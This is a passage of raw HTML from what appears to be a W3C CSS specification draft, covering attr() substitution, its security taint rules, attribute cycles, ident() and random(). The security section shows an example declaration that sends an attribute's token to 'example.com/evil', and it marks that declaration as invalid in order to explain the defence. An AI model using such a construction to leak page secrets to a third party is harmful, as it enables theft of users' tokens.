href="https://www.w3.org/TR/css-sizing-3/#propdef-width" id="ref-for-propdef-width②">width: attr(size <number px>, auto);</a>. </div> <div class="example" id="example-eeda89e8"> <a class="self-link" href="#example-eeda89e8"></a> This example shows the use of attr() to visually illustrate data in an XML file: <pre class="highlight"><stock> <wood length=<c- s>"12"</c->/> <wood length=<c- s>"5"</c->/> <metal length=<c- s>"19"</c->/> <wood length=<c- s>"4"</c->/> </stock> stock::before <c- p>{</c-> <c- k>display</c-><c- p>:</c-> block<c- p>;</c-> <c- k>content</c-><c- p>:</c-> <c- s>"To scale, the lengths of materials in stock are:"</c-><c- p>;</c-> <c- p>}</c-> stock > * <c- p>{</c-> <c- k>display</c-><c- p>:</c-> block<c- p>;</c-> <c- k>width</c-><c- p>:</c-> <c- nf>attr</c-><c- p>(</c->length em<c- p>,</c-> <c- m>0</c-><c- k>px</c-><c- p>);</c-> <c- k>height</c-><c- p>:</c-> <c- m>1</c-><c- k>em</c-><c- p>;</c-> <c- k>border</c-><c- p>:</c-> solid thin<c- p>;</c-> <c- k>margin</c-><c- p>:</c-> <c- m>0.5</c-><c- k>em</c-><c- p>;</c-> <c- p>}</c-> wood <c- p>{</c-> <c- k>background</c-><c- p>:</c-> orange <c- nf>url</c-><c- p>(</c-><c- s>wood.png</c-><c- p>);</c-> <c- p>}</c-> metal <c- p>{</c-> <c- k>background</c-><c- p>:</c-> silver <c- nf>url</c-><c- p>(</c-><c- s>metal.png</c-><c- p>);</c-> <c- p>}</c-> </pre> </div> <h4 class="heading settled" data-level="7.7.1" id="attr-substitution">7.7.1. Attribute Value Substitution: the <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr⑨">attr()</a> notation<a class="self-link" href="#attr-substitution"></a></h4> <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①⓪">attr()</a> is an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function③">arbitrary substitution function</a>, similar to <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var⑦">var()</a>, and so is replaced with the value it represents (if possible) at <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①⑥">computed value</a> time; otherwise, it’s replaced with the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value④">guaranteed-invalid value</a>, which will make its declaration <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time①">invalid at computed-value time</a>. <div class="algorithm" data-algorithm="resolve an attr() function"> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="resolve-an-attr-function"><a data-link-type="dfn" href="#resolve-an-arbitrary-substitution-function" id="ref-for-resolve-an-arbitrary-substitution-function②">resolve an attr() function</a></dfn>: <ol> <li data-md> Let <var>el</var> be the element that the style containing the <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①①">attr()</a> function is being applied to. Let <var>attr name</var> be the attribute name specified in the function. Let <var>syntax</var> be the <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①⑥"><syntax></a> specified in the function, or null if it was omitted. Let <var>fallback</var> be the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①⑤"><declaration-value></a>? argument specified in the function, or the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value⑤">guaranteed-invalid value</a> if it was omitted. <li data-md> If there is no attribute named <var>attr name</var> on <var>el</var>, return the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value⑥">guaranteed-invalid value</a> and <var>fallback</var>. Otherwise, let <var>attr value</var> be that attribute’s value. <li data-md> If <var>syntax</var> is null, return a CSS <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value⑦"><string></a> whose value is <var>attr value</var>. Note: No parsing or modification of any kind is performed on the value. <li data-md> <a data-link-type="dfn" href="#parse-with-a-syntax" id="ref-for-parse-with-a-syntax①">Parse with a <syntax></syntax></a> <var>attr value</var>, with <var>syntax</var> and <var>el</var>. Return the result and <var>fallback</var>. </ol> </div> <h4 class="heading settled" data-level="7.7.2" id="attr-security">7.7.2. Security<a class="self-link" href="#attr-security"></a></h4> An <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①②">attr()</a> function can reference attributes that were never intended by the page to be used for styling, and might contain sensitive information (for example, a security token used by scripts on the page). In general, this is fine. It is difficult to use <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①③">attr()</a> to extract information from a page and send it to a hostile party, in most circumstances. The exception to this is URLs. If a URL can be constructed with the value of an arbitrary attribute, purely from CSS, it can easily send any information stored in attributes to a hostile party, if 3rd-party CSS is allowed at all. To guard against this, the values produced by an <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①④">attr()</a> are considered <dfn class="dfn-paneled" data-dfn-type="dfn" data-export data-lt="attr()-taint" id="attr-taint">attr()-tainted</dfn>, as are functions that contain an <a data-link-type="dfn" href="#attr-taint" id="ref-for-attr-taint">attr()-tainted</a> value. The substitution value of an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function④">arbitrary substitution function</a> is <a data-link-type="dfn" href="#attr-taint" id="ref-for-attr-taint①">attr()-tainted</a> as a whole if any attr()-tainted values were involved in creating that substitution value. This extends to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#equivalent-token-sequence" id="ref-for-equivalent-token-sequence">equivalent token sequence</a> when substituting values of <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property" id="ref-for-registered-custom-property②">registered custom properties</a>. Using an <a data-link-type="dfn" href="#attr-taint" id="ref-for-attr-taint③">attr()-tainted</a> value as or in a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value③"><url></a> makes a declaration <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time②">invalid at computed-value time</a>. <div class="example" id="example-21e44dca"> <a class="self-link" href="#example-21e44dca"></a> For example, all of the following are <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time③">invalid at computed-value time</a>: <ul> <li data-md> <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-image" id="ref-for-propdef-background-image">background-image: src(attr(foo));</a> - can’t use it directly. <li data-md> <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-image" id="ref-for-propdef-background-image①">background-image: image(attr(foo))</a> - can’t use it in other <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value④"><url></a>-taking functions. <li data-md> <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-image" id="ref-for-propdef-background-image②">background-image: src(string("http://example.com/evil?token=" attr(foo)))</a> - can’t "launder" it thru another function. <li data-md> <a class="css" data-link-type="propdesc">--foo: attr(foo); background-image(src(var(--foo)))</a> (assuming that --foo is a <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property" id="ref-for-registered-custom-property③">registered custom property</a> with string syntax) - can’t launder the value thru another property, either. </ul> However, using <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①⑤">attr()</a> for other purposes is fine, even if the usage is near a url: <ul> <li data-md> <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-image" id="ref-for-propdef-background-image③">background-image: image("foo.jpg", attr(bgcolor type(<color>)))</a> is fine; the <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①⑥">attr()</a> is providing a fallback color, and the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value⑤"><url></a> isn’t <a data-link-type="dfn" href="#attr-taint" id="ref-for-attr-taint④">attr()-tainted</a>. </ul> Using <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①⑦">attr()</a> indirectly via a <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property③">custom property</a> causes <a data-link-type="dfn" href="#attr-taint" id="ref-for-attr-taint⑤">attr()-tainting</a> of the whole custom property value: <ul> <li data-md> <a class="css" data-link-type="propdesc">--foo: image("foo.jpg", attr(bgcolor type(<color>))); background-image: var(--foo);</a> is <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time④">invalid at computed-value time</a>. <a class="self-link" href="#issue-36b2e6b3"></a> Investigate partial tainting of custom property values. </ul> </div> Note: Implementing this restriction requires tracking a dirty bit on values constructed from <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①⑧">attr()</a> values, since they can be fully resolved into a string via <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property" id="ref-for-registered-custom-property④">registered custom properties</a>, so you can’t rely on just examining the value expression. Note that non-string types can even trigger this, via functions like string() that can stringify other types of values: <a class="css" data-link-type="propdesc">--foo: attr(foo type(<number>)); background-image: src(string(var(--foo)))</a> needs to be invalid as well. <h4 class="heading settled" data-level="7.7.3" id="attr-cycles">7.7.3. Cycles<a class="self-link" href="#attr-cycles"></a></h4> An attribute value may contain <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①⑨">attr()</a> functions, or other <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function⑤">arbitrary substitution functions</a>, that are substituted during <a data-link-type="dfn" href="#parse-with-a-syntax" id="ref-for-parse-with-a-syntax②">parse with a <syntax></syntax></a>. This can cause cyclic dependecies, either by an attribute referring to itself, through multiple attributes referring to each other, or through a combination of other arbitrary substitution functions (e.g. <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var⑧">var()</a>). For each element, add a node for every attribute on that element to the graph described in <a href="https://www.w3.org/TR/css-variables-1/#cycles"><cite>CSS Variables 1</cite> § 2.3 Resolving Dependency Cycles</a>. Then, for each attribute <var>attrib</var>, add edges as follows: <ul> <li data-md> From <var>attrib</var> to any attributes referenced by <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②⓪">attr()</a> within <var>attrib</var>’s value. <li data-md> From <var>attrib</var> to any <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property④">custom properties</a> referenced by <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var⑨">var()</a> within <var>attrib</var>’s value. <li data-md> From any <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property⑤">custom property</a> that references <var>attrib</var> using <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②①">attr()</a> to <var>attrib</var>. </ul> An <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②②">attr()</a> referencing an attribute which is part of a cycle makes the containing <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/syndata.html#x19" id="ref-for-x19">declaration</a> <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time⑤">invalid at computed-value time</a>. <div class="example" id="example-63501881"> <a class="self-link" href="#example-63501881"></a> In the following, <code class="highlight">width</code> is <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time⑥">invalid at computed-value time</a>, because <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②③">attr()</a> tries to substitute a value which refers to itself: <pre class="lang-css highlight">div <c- p>{</c-> <c- k>width</c-><c- p>:</c-> <c- nf>attr</c-><c- p>(</c->data-foo <c- nf>type</c-><c- p>(</c->*<c- p>));</c-> <c- p>}</c-> </pre> <pre class="lang-html highlight"><c- p><</c-><c- f>div</c-> <c- e>data-foo</c-><c- o>=</c-><c- s>"attr(data-foo type(*))"</c-><c- p>></</c-><c- f>div</c-><c- p>></c-> </pre> Note: Even if one (or both) of the <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②④">attr()</a> functions had a fallback, the result would be the same. </div> <div class="example" id="example-4bfc98a2"> <a class="self-link" href="#example-4bfc98a2"></a> Cycles can occur through <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property⑥">custom properties</a>; in the following, <code class="highlight">--x</code> and <code class="highlight">--y</code> are both <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time⑦">invalid at computed-value time</a>: <pre class="lang-css highlight">div <c- p>{</c-> <c- k>--x</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--y<c- p>);</c-> <c- k>--y</c-><c- p>:</c-> <c- nf>attr</c-><c- p>(</c->data-foo <c- nf>type</c-><c- p>(</c->*<c- p>));</c-> <c- p>}</c-> </pre> <pre class="lang-html highlight"><c- p><</c-><c- f>div</c-> <c- e>data-foo</c-><c- o>=</c-><c- s>"var(--x)"</c-><c- p>></</c-><c- f>div</c-><c- p>></c-> </pre> </div> <h3 class="heading settled" data-level="7.8" id="ident">7.8. Constructing <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#identifier-value" id="ref-for-identifier-value"><custom-ident></a> values: the <a class="css" data-link-type="maybe" href="#funcdef-ident" id="ref-for-funcdef-ident">ident()</a> function<a class="self-link" href="#ident"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-ident">ident()</dfn> function represents an <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-ident" id="ref-for-typedef-ident③"><ident></a>, and can be used to manually construct <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#identifier-value" id="ref-for-identifier-value①"><custom-ident></a> values from several parts. <pre class="prod highlight"><a class="production" data-link-type="function" href="#funcdef-ident" id="ref-for-funcdef-ident①"><<c- nf>ident</c-><c- p>()</c->></a> = <c- nf>ident</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-ident-arg" id="ref-for-typedef-ident-arg"><ident-arg></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-one-plus" id="ref-for-mult-one-plus">+</a> <c- p>)</c-> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-ident-arg"><a class="production" data-link-type="type" href="#typedef-ident-arg" id="ref-for-typedef-ident-arg①"><ident-arg></a></dfn> = <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value⑧"><string></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪③">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#integer-value" id="ref-for-integer-value"><integer></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪④">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-ident" id="ref-for-typedef-ident④"><ident></a> </pre> <a class="self-link" href="#issue-c34fe37b"></a> Should we allow a fallback value? <a href="https://github.com/w3c/csswg-drafts/issues/11424">[Issue #w3c/csswg-drafts#11424]</a> The <a class="css" data-link-type="maybe" href="#funcdef-ident" id="ref-for-funcdef-ident②">ident()</a> function can be used as a value for any property or function argument that accepts a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#identifier-value" id="ref-for-identifier-value②"><custom-ident></a>. <div class="example" id="example-75814164"> <a class="self-link" href="#example-75814164"></a> In the following example, each matched element gets a unique <dfn class="dfn-paneled css" data-dfn-type="type" data-export id="typedef-view-timeline-name"><a class="production css" data-link-type="property" href="https://www.w3.org/TR/scroll-animations-1/#propdef-view-timeline-name" id="ref-for-propdef-view-timeline-name"><'view-timeline-name'></a></dfn> in the format of <code class="highlight"><c- s>"vtl-</c-><c- s>number</c-><c- s>"</c-></code>. The <code class="highlight">number</code> is generated using <a class="css" data-link-type="maybe" href="#funcdef-sibling-index" id="ref-for-funcdef-sibling-index">sibling-index()</a>. <pre class="language-css highlight">.item <c- p>{</c-> <c- c>/* vtl-1, vtl-2, vtl-3, … */</c-> view-timeline-name: <c- nf>ident</c-><c- p>(</c-><c- s>"vtl-"</c-> <c- nf>sibling-index</c-><c- p>());</c-> <c- p>}</c-> </pre> </div> While in many cases <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②⑤">attr()</a> with the <a class="production css" data-link-type="type" href="#typedef-attr-type" id="ref-for-typedef-attr-type②"><attr-type></a> set to type(<a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#identifier-value" id="ref-for-identifier-value③"><custom-ident></a>) will do, <a class="css" data-link-type="maybe" href="#funcdef-ident" id="ref-for-funcdef-ident③">ident()</a> can be used to construct a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#identifier-value" id="ref-for-identifier-value④"><custom-ident></a> using values that come from other elements. <div class="example" id="example-9383da45"> <a class="self-link" href="#example-9383da45"></a> In the following example, the <a class="css" data-link-type="maybe" href="#funcdef-ident" id="ref-for-funcdef-ident④">ident()</a> function uses a custom property which is defined on a parent. <pre class="language-css highlight">.card<c- p>[</c->id<c- p>]</c-> <c- p>{</c-> <c- c>/* E.g. card1, card2, card3, … */</c-> --id: <c- nf>attr</c-><c- p>(</c->id<c- p>);</c-> <c- k>view-transition-name</c-><c- p>:</c-> <c- nf>ident</c-><c- p>(</c-><c- nf>var</c-><c- p>(</c->--id<c- p>));</c-> <c- k>view-transition-class</c-><c- p>:</c-> card<c- p>;</c-> h1 <c- p>{</c-> <c- c>/* E.g. card1-title, card2-title, card3-title, … */</c-> view-transition-name: <c- nf>ident</c-><c- p>(</c-><c- nf>var</c-><c- p>(</c->--id<c- p>)</c-> <c- s>"-title"</c-><c- p>);</c-> <c- k>view-transition-class</c-><c- p>:</c-> card-title<c- p>;</c-> <c- p>}</c-> <c- p>}</c-> </pre> </div> To generate a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dashed-ident" id="ref-for-typedef-dashed-ident"><dashed-ident></a>, put <code class="highlight"><c- s>"--"</c-></code> as the first argument. <div class="example" id="example-013ee6a8"> <a class="self-link" href="#example-013ee6a8"></a> <pre class="language-css highlight">.element <c- p>{</c-> <c- k>anchor-name</c-><c- p>:</c-> <c- nf>ident</c-><c- p>(</c-><c- s>"--"</c-> <c- nf>attr</c-><c- p>(</c->id<c- p>));</c-> <c- p>}</c-> </pre> </div> <h2 class="heading settled" data-level="8" id="randomness">8. Generating Random Values<a class="self-link" href="#randomness"></a></h2> It is often useful to incorporate some degree of "randomness" to a design, either to make repeated elements on a page feel less static and identical, or just to add a bit of "flair" to a page without being distracting. The <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random">random()</a> and <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①">random-item()</a> functions (the <dfn class="dfn-paneled" data-dfn-for="CSS" data-dfn-type="dfn" data-export id="css-random-functions">random functions</dfn>) allow authors to incorporate randomness into their page, while keeping this randomness predictable from a design perspective, letting authors decide whether a random value should be reused in several places or be unique between instances. The exact random-number generation method is UA-defined. It should be the case that two distinct random values have no easily-detectable correlation, but this specification intentionally does not specify what that means in terms of cryptographic strength. Authors must not rely on <a data-link-type="dfn" href="#css-random-functions" id="ref-for-css-random-functions">random functions</a> for any purposes that depend on quality cryptography. <h3 class="heading settled" data-level="8.1" id="random">8.1. Generating a Random Numeric Value: the <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①">random()</a> function<a class="self-link" href="#random"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-random">random()</dfn> function is a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function⑦">math function</a> that represents a random value between a minimum and maximum value, drawn from a uniform distribution, optionally limiting the possible values to a step between those limits: <pre class="prod highlight"><<c- nf>random</c-><c- p>()</c->> = <c- nf>random</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options①"><random-caching-options></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt①③">?</a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma②①"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①③"><calc-sum></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma②②"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①④"><calc-sum></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma②③"><c- p>,</c-></a> <c- p>[</c->by <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①⑤"><calc-sum></a><c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt①④">?</a> <c- p>)</c-> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-random-caching-options"><a class="production" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options②"><random-caching-options></a></dfn> = <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dashed-ident" id="ref-for-typedef-dashed-ident①"><dashed-ident></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-any" id="ref-for-comb-any">||</a> per-element </pre> Its arguments are: <dl> <dt data-md><a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options③"><random-caching-options></a> <dd data-md> The optional <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options④"><random-caching-options></a> provides some control over whether a given <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random②">random()</a> function resolves similarly or differently to other random()s on the page. See <a href="#random-caching">§ 8.3 Generating/Caching Random Values: the <random-caching-options> value</a> for details. <div class="note" role="note"> By default, <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random④">random()</a> resolves to a single value, shared by all elements using that style, and two random() functions with identical arguments will resolve to the same random value. Providing a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dashed-ident" id="ref-for-typedef-dashed-ident②"><dashed-ident></a> does nothing, but can make the argument lists distinct between two or more otherwise-identical <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random⑥">random()</a> functions, so they’ll generate distinct values. The per-element keyword causes the <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random⑦">random()</a> function to generate a different value on each element the function is applied to, rather than resolving to a single value per usage in the stylesheet. </div> <dt data-md><a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①⑥"><calc-sum></a>, <calc-sum> <dd data-md> The two required <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation⑦">calculations</a> specify the minimum and maximum value the function can resolve to. Both limits are inclusive (the result can be the min or the max). If the maximum value is less than the minimum value, it behaves as if it’s equal to the minimum value. <div class="example" id="example-84ddc1e3"><a class="self-link" href="#example-84ddc1e3"></a> For example, random(100px, 300px) will resolve to a random <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value⑧"><length></a> between 100px and 300px: it might be 100px, 300px, or any value between them like 234.5px. </div> <dt data-md>by <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①⑧"><calc-sum></a> <dd data-md> The final optional argument specifies a step value: the values the function can resolve to are further restricted to the form <code class="highlight">min + <c- p>(</c->N * step<c- p>)</c-></code>, where N is a non-negative integer chosen uniformly randomly from the possible values that result in an in-range value. <div class="example" id="example-1401de84"> <a class="self-link" href="#example-1401de84"></a> For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px; it will never return a value like 120px. While the minimum value is always a possible result, the maximum value isn’t always, if it’s not also a multiple of the step from the minimum. For example, in random(100px, 300px, by 30px), the largest possible value it can resolve to is 280px, 6 steps from the minimum value. Note that rounding issues might have an effect here: in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values (100px, and approximately 133.33px and 166.67px), but whether 200px is possible depends on rounding precision. To be safe, you can put the maximum value slightly above where you expect the final step to land, like random(100px, 201px, by 100px / 3). </div> <div class="example" id="example-fd41058f"> <a class="self-link" href="#example-fd41058f"></a> As explained in the definition of <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-round" id="ref-for-funcdef-round">round()</a>, CSS has no "natural" precision for values, but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers; etc. </div> Note: The definition of the step does not allow for naively generating a random value in the range and then rounding it to the nearest step value, as that can result in the values not appearing with the same weights. For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance; a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. </dl> All of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation⑧">calculation</a> arguments can resolve to any <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value②⓪"><number></a>, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dimension" id="ref-for-typedef-dimension②"><dimension></a>, or <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value①⑤"><percentage></a>, but must have the same <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#determine-the-type-of-a-calculation" id="ref-for-determine-the-type-of-a-calculation">type</a>, or else the function is invalid; the result will have the same type as the arguments. <div class="example" id="example-d128ac17"> <a class="self-link" href="#example-d128ac17"></a> For example, random(50px, 100%, by 1em) is valid (assuming percentages are valid in the context this is used, and resolve to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value⑨"><length></a>), as all three arguments resolve to a length. However, random(50px, 180deg) is invalid, as lengths and angles are not the same type. </div> A <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random⑧">random()</a> function can be <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#simplify-a-calculation-tree" id="ref-for-simplify-a-calculation-tree">simplified</a> as soon as its argument <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation⑨">calculations</a> can be simplified to numeric values. Note: This means that <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random⑨">random()</a> is usually resolved by <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①⑦">computed value</a> time, and thus will inherit as a static numeric value. However, if the argument <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation①⓪">calculations</a> aren’t resolved until <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value③">used value</a> time (such as if they include <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value①⑥"><percentage></a> values that require layout information to resolve), <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#inheritance" id="ref-for-inheritance">inheritance</a> will transfer the random() function itself. (This is no different, however, to the behavior of the <percentage>s themselves, which would inherit as <percentage>s and thus might resolve to different values on the child elements.) <a class="self-link" href="#issue-2146881a"></a> At least in theory it should be fine to use <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①①">random()</a> in non-property contexts, so long as per-element isn’t specified; it’s well-defined what happens with <code class="highlight"><c- n>@media</c-> <c- p>(</c->max-width: <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>))</c-> <c- p>{</c->...<c- p>}</c-></code>, for example. I suspect we want to disallow it, tho? <h4 class="heading settled" data-level="8.1.1" id="random-infinities">8.1.1. Argument Ranges<a class="self-link" href="#random-infinities"></a></h4> In random(A, B, by C), if A or B is infinite, the result is NaN. If A and B are finite, but the distance between them (B - A) is large enough to become infinite in the user agent, the result is NaN. If C is infinite, the result is A. If C is negative, zero, or positive but close enough to zero that the range for the step multiplier (the <code class="highlight">N</code> mentioned in the argument’s definition) would be infinite in the user agent, the step must be ignored. Note: As usual for <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function⑧">math functions</a>, if any argument calculation is NaN, the result is NaN. <h3 class="heading settled" data-level="8.2" id="random-item">8.2. Picking a Random Item From a List: the <a class="css" data-link-type="maybe" href="#funcdef-random-item" 